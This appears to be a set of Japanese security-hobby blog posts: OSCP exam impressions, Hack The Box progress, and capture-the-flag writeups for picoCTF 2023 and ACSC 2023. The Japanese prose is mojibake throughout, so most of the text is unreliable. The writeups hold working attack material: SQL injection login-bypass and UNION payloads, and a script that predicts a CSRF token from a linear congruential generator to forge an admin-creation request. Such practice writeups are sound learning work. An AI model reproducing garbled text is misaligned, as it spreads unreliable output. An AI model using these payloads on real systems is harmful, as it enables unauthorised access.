æè¡ã¨ãããããã»ã³ã¹ã磨ã試é¨ã§ããã¨æãã¾ãããRedditã®åã売ãã§ãããtoo hardã¨ããããtoo trickyã§ããã¨å¼·ãæãã¾ãã
åããã¦ããæè¡ã¯ã³ã¼ã¹ã®ç¯å²å ã«åã¾ã£ã¦ããã¨æãã¾ãããã Challenge Labãããæããã«è©¦é¨åé¡ã®æ¹ãè¤éã§ããã
ä¸çç¸ã§ã¯ãããªããtrickyãªç´°å·¥ãã©ã®ãã·ã³ã«ãæ½ããã¦ãã¾ãã
ç¥èãç¥ã£ã¦ããç¥ã£ã¦ããªãã§ã¯ãªããã©ãã«å½ãããã¤ãã¦è©¦ããã®æèãåããã¦ããã¨æãã試é¨ã§ããã
ç®æ¨ã«ãã¦ããè³æ ¼ãªã®ã§åæ ¼åºæ¥ã¦ãã£ã¡ãããããã§ãï¼ï¼
Hack The Boxã§Hackerã«ãªã£ãã
ããããããã§æ£çæ£éHackeråä¹ãã¾ããªï¼ç¬ï¼ã
æç³»åï¼ããè¦ãï¼
2022/10æ
- æ¬æ ¼çã«å§ãã
- ç»é²ã¯ãã£ã¨åã«ãã¦ããã¨æãã¾ãããæ¯ãç«ããæ¾ç½®ãã¦ãã¾ãã
2022/11æ
- Script Kiddleã«ãªã
- Easyã®ä¸ã§ãç°¡åãªãã·ã³ã®ã¿ãªãã¨ã解ããæãã§ãã
- Root:3, User:4, Challenges:4
- ã¡ãã£ã¨é£ãããªãã¨æ¯ãç«ããªããªãæ¾ç½®
ç»åã«ããããã«ããããã8ãæç¨åº¦æ¾ç½®ãã¦ãã¾ãããï¼å½ç¶ãã¾ã¾ã§è§£ããåã®ææçã¯ãªã»ããï¼
2022/1æ~3æ
- 就活ã¨ä¸¦è¡ãã¦TryHackMeãå¦å²ã§å¥ç´ãã¦è²ã ã¨å¦ã¶
- 就活ã®çµäºã«ãã£ã¦çãå°½ã
2023/8æ
- OSCPåãã¦ã¼ã¨æã£ã¦ãåé
8/2
- Root:2, User2
8/3
- Root:2, User2
8/4
- Root:1, User1
8/5
- Root:1, User1
ã§ãåè¨6ã¤ã®ãã·ã³ã解ãã¦Hackerã«ãªãã¾ããã
ä»ã®æ¹ã®è¨äºã¨ãè¦ã¦ãã¨VIPãå¥ç´ãã¦Retiredããããããããã¦ããã®ã§ãããç§ã¯ã±ãã£ã¦Freeã®ã¾ã¾ã§ãã
HTBåãéãããã£ãããTryHackMeã¨ããããHTBã®Retiredãããããããæ¹ã身ã®ããããããã¾ãããTryHackMeã¯è²ã ãªã¸ã£ã³ã«ããããWindowsADã¨ãå¦ã¹ãã®ã¯ãããããã£ãã§ãããã ã帯åãå¼±ãã¹ãã¬ã¹ãâ¦â¦ã
è¨ç®ä¸ã¯6ã¤ã ã¨ã®ãªã®ãªHackerã«å°éã§ããªãã£ããã§ãããChallengesã¯å ¥ãæ¿ãããä½ããªãå»å¹´è§£ãã4ã¤åãæ®ã£ã¦ãã¦Hackerãªããã¨ãã訳ã§ãã
è¨ç®ãã¦ã¿ãã¨ãããï¼Challengesã®åé¡æ°ã«ããã¾ããï¼Easyå ¨é¨ã¨Challenges2å解ãã°HackerRankã«ãªããããã§ãã
Userã«ã¤ãã¦
ã¾ãã¿ããªè¨ã£ã¦ãã¾ãããåæã¨wordlistã大äºã§ããããããç·å½ããçãªã®ã¯CTFã¨éãæã§ããã
ãã èå¼±æ§ãè¦ã¤ããã¨ããäºã«é¢ãã¦ã¯CTFã®çµé¨ã¨ãåã¿ãããªã®ãç§ã¯å¤§ããå½¹ç«ã£ãã¨æã£ã¦ãã¾ãã
ããããå®éã¯ããããªãã§ããã¿ãããªãã·ã³ãããã¾ãããããããã®ã¯è¯ããæªããå¤ãªç¥èãè¦æ±ããããã¨ãå¤ãåå¼·ã«ãªãã¾ããã
Rootã«ã¤ãã¦
æªãããã®ãè¦éããªããã大äºã§ããç§ã¯çµæ§è¦æã§ãå¤ã«æéãããã¦ãã¾ãäºãå¤ãã£ãã§ãã
ãã ãè¦ãå ´æã¯ã©ã®ãã·ã³ã§ã対ãã¦å¤ãããªãã¨ãããéããã¦ããã®ã§ãä½åããã£ã¦ããã°ã³ããã¤ããã¦ããã§ãããã
ç·æ¬
ç®æ¨ã¯OSCPãªã®ã§ProHackerã¾ã§ãããã¯åããã¾ããããçµæ§æ¥½ããã£ãã§ãã
HTBã¯ã©ã³ã¯ãï¼å¨äºçã§ï¼ã«ãã³ããããä¸ãç®æããããªãã¾ããã
picoCTF 2023 writeup
picoCTF 2023 Writeup
webåã ã解ãã¾ããã
Web Exploitation
findme
ãã®ãããª2ã¤ã®ãªãã¤ã¬ã¯ãããã£ãã
ä»ã«æå³ã®ãããããªãã®ã¯ç¡ãã£ãã®ã§ãidãã©ã¡ã¿ãbase64decodeããã¨flagã ã£ãã
MatchTheRegex
æ£è¦è¡¨ç¾ã§ããããããã ãã
.*ã ãã ã¨ã ãã ã£ãã
SOAP
XXE
More SQLi
Login ID: 1' or 1=1 -- Password: 1' or 1=1 --
query: ' UNION SELECT * FROM users --
query: ' UNION SELECT group_concat(sql), group_concat(sql), group_concat(sql) FROM sqlite_master --
query: ' UNION select flag, flag, flag from more_table --
Java Code Analysis!?!
èªå¯ã«JWTã使ã£ã¦ããã§ããã
çæã³ã¼ãã«ç©´ã¨ãç¡ãããªã¨æã£ã¦ã¿ã¦ã¿ããã
// not so random return "1234";
ãã¡ããã¡ããã¼ãã³ã¼ãã£ã³ã°ããã¦ãã£ã!?!
ææ
ããã¾ã§è§£ããå¾ã«ãå´ããªã彼女ã®è²ã¦ãããã¨ããã©ã¤ãããã«ã«ããã£ã¦ãã¾ãããã¨ã®åé¡ã¯è§£ãã¦ã¾ãããæ ¹æ°ã足ããªãã£ãã
ACSC 2023 Writeup
101th(global: 140 th)ã§ããã
骨ã®ããåé¡ãå¤ãä¸ã 解ããªãã£ãã
解ããã®ã¯ (Welcome), Merkle Hellman, Admin Dashboardã®ã¿ã
ãã¼ããã¬ãå¢ã¨ã®ã¬ãã«å·®ãå®æãããã
Writeup
Welcome
discordã«ããã
ACSC{W3lc0m3_t0_ACSC_2023_g00d_luck!}
Merkle Hellman
ããããªï¼
å¹³æã«å¯¾ãã¦ã(26 >> i) == 1ã§ããPublicKey[i]ã®åè¨ãæ±ããæãã
åæç¥èãªãã¾ã¾ã³ã¼ãèªãã§flagåã£ã¦ãã¾ã£ãã®ã§ãçµæ§å¹çæªãã¨æãã å®éPrivate Key使ã£ã¦ãªãããã
# Output: # Public Key = [7352, 2356, 7579, 19235, 1944, 14029, 1084] # Private Key = ([184, 332, 713, 1255, 2688, 5243, 10448], 20910) # Ciphertext = [8436, 22465, 30044, 22465, 51635, 10380, 11879, 50551, 35250, 51223, 14931, 25048, 7352, 50551, 37606, 39550] b = [7352, 2356, 7579, 19235, 1944, 14029, 1084] (w, q) = ([184, 332, 713, 1255, 2688, 5243, 10448], 20910) c = [8436, 22465, 30044, 22465, 51635, 10380, 11879, 50551, 35250, 51223, 14931, 25048, 7352, 50551, 37606, 39550] result = [] for s in c: flag = 0 for i in range(7): for v in itertools.permutations(b, i): sum = 0 for vv in v: sum += vv if sum == s: flag = 1 result.append(v) break if flag == 1: break print(result) flag = '' for r in result: ascii = 0 for v in r: ascii |= (64 >> b.index(v)) flag += chr(ascii) print (flag)
ACSC{E4zY_P3@zy}
é å¼µãã°æåã§ãè¡ãããã ãªã¨æã£ãã
Admin Dashboard
admin-dashboard
reportãã¼ã¸ãããadmin権éã§getãªã¯ã¨ã¹ããé£ã°ããã åé¡æä¸ã§getãªã¯ã¨ã¹ããçããå ´é¢ã¯ /addadmin ã®ã¿ãªã®ã§ãããã«ãªã¯ã¨ã¹ããé£ã°ãã¦ä»»æã®adminã¦ã¼ã¶ãä½ãã°ããã
ãã ãcsrf-tokenã®æ¤è¨¼ãå ¥ãã®ã§ãtokenãæ¨æ¸¬ããªããã°ãªããªãã
ãã¼ã¯ã³ã®ã¢ã«ã´ãªãºã ã¯â
$sql = "SELECT * FROM secrets"; $stmt = $conn->prepare($sql); $stmt->execute(); $result = $stmt->get_result(); $row = $result->fetch_assoc(); if($row){ $A = gmp_import($row['A']); $C = gmp_import($row['C']); $M = gmp_init("0xc4f3b4b3deadbeef1337c0dedeadc0dd"); } if (!isset($_SESSION['X'])){ $X = gmp_import($_SESSION["user"]["username"]); $_SESSION['X'] = gmp_mod(gmp_add(gmp_mul($A, $X),$C),$M); $_SESSION["token-expire"] = time() + 30; }else{ if(time() >= $_SESSION["token-expire"]){ $_SESSION['X'] = gmp_mod(gmp_add(gmp_mul($A, $_SESSION['X']),$C),$M); $_SESSION["token-expire"] = time() + 30; } }
æ°å¼åããã¨ãããªãã
ãã ããAã¨Cã¯ä¸æã
ã¡ãã£ã¨èª¿ã¹ã¦ã¿ãã¨ç·åååæ³ã¨ããä¹±æ°çæã¢ã«ã´ãªãºã ã§ãæ¨æ¸¬å¯è½ãããäºãåãã£ãã
X = [] X.append(0x74657374616d) # <?php echo gmp_strval(gmp_import('testam'), 16); ?> X.append(0xadbcf226031e752084d83547d0fa1f3d) X.append(0x2b0546e77c9a59aa216a57eaa822e13f) Y = [] Y.append(X[1] - X[0]) Y.append(X[2] - X[1]) M = 0xc4f3b4b3deadbeef1337c0dedeadc0dd A = Y[1] * pow(Y[0], -1, M) C = X[1] - A * X[0] assert X[1] == (A * X[0] + C) % M, "Not eqaul" assert X[2] == (A * X[1] + C) % M, "Not eqaul" print(f'A: {hex(A)}') print(f'C: {hex(C)}') print() Xadmin = 0x61646d696e # <?php echo gmp_strval(gmp_import('admin'), 16); ?> print(f'Token: {hex((A * Xadmin + C) % M)}') # OUTPUT # A: -0x179c720dd58f5ae3904ef5e6007583dc476ecefd04f89eb882e9e8eba06e47fe # C: 0xabc3f0d475670c5f1c45efe04c38954aedcd1691121263d1cd5c75c02928ba964eaa24e0463 # # Token: 0x5b4b474720175fc8e5fb8f3e4b7266dc
ã¨ãã訳ã§ãæããã¹ããªã¯ã¨ã¹ãã¯
url=http://localhost/addadmin?username=am2497%26password=password%26csrf-token=5b4b474720175fc8e5fb8f3e4b7266dc
ããã¦ã
ACSC{C$rF_15_3VerYwh3Re!}
ãªã¯ã¨ã¹ãä¸ã«&ããã®ã¾ã¾æ¸ãã¦ãã¦ä¸æããããªãã¨ãããã¹ã§çµæ§æéã使ã£ãã
ãã¨ç·åååæ³ã®Aã¨Cã®è¨ç®ã¯ä»¥ä¸ã®kurenaifããã®è¨äºãåèã«ãããåç»ãåãããããã£ãã
ææ
ä¸ã æããã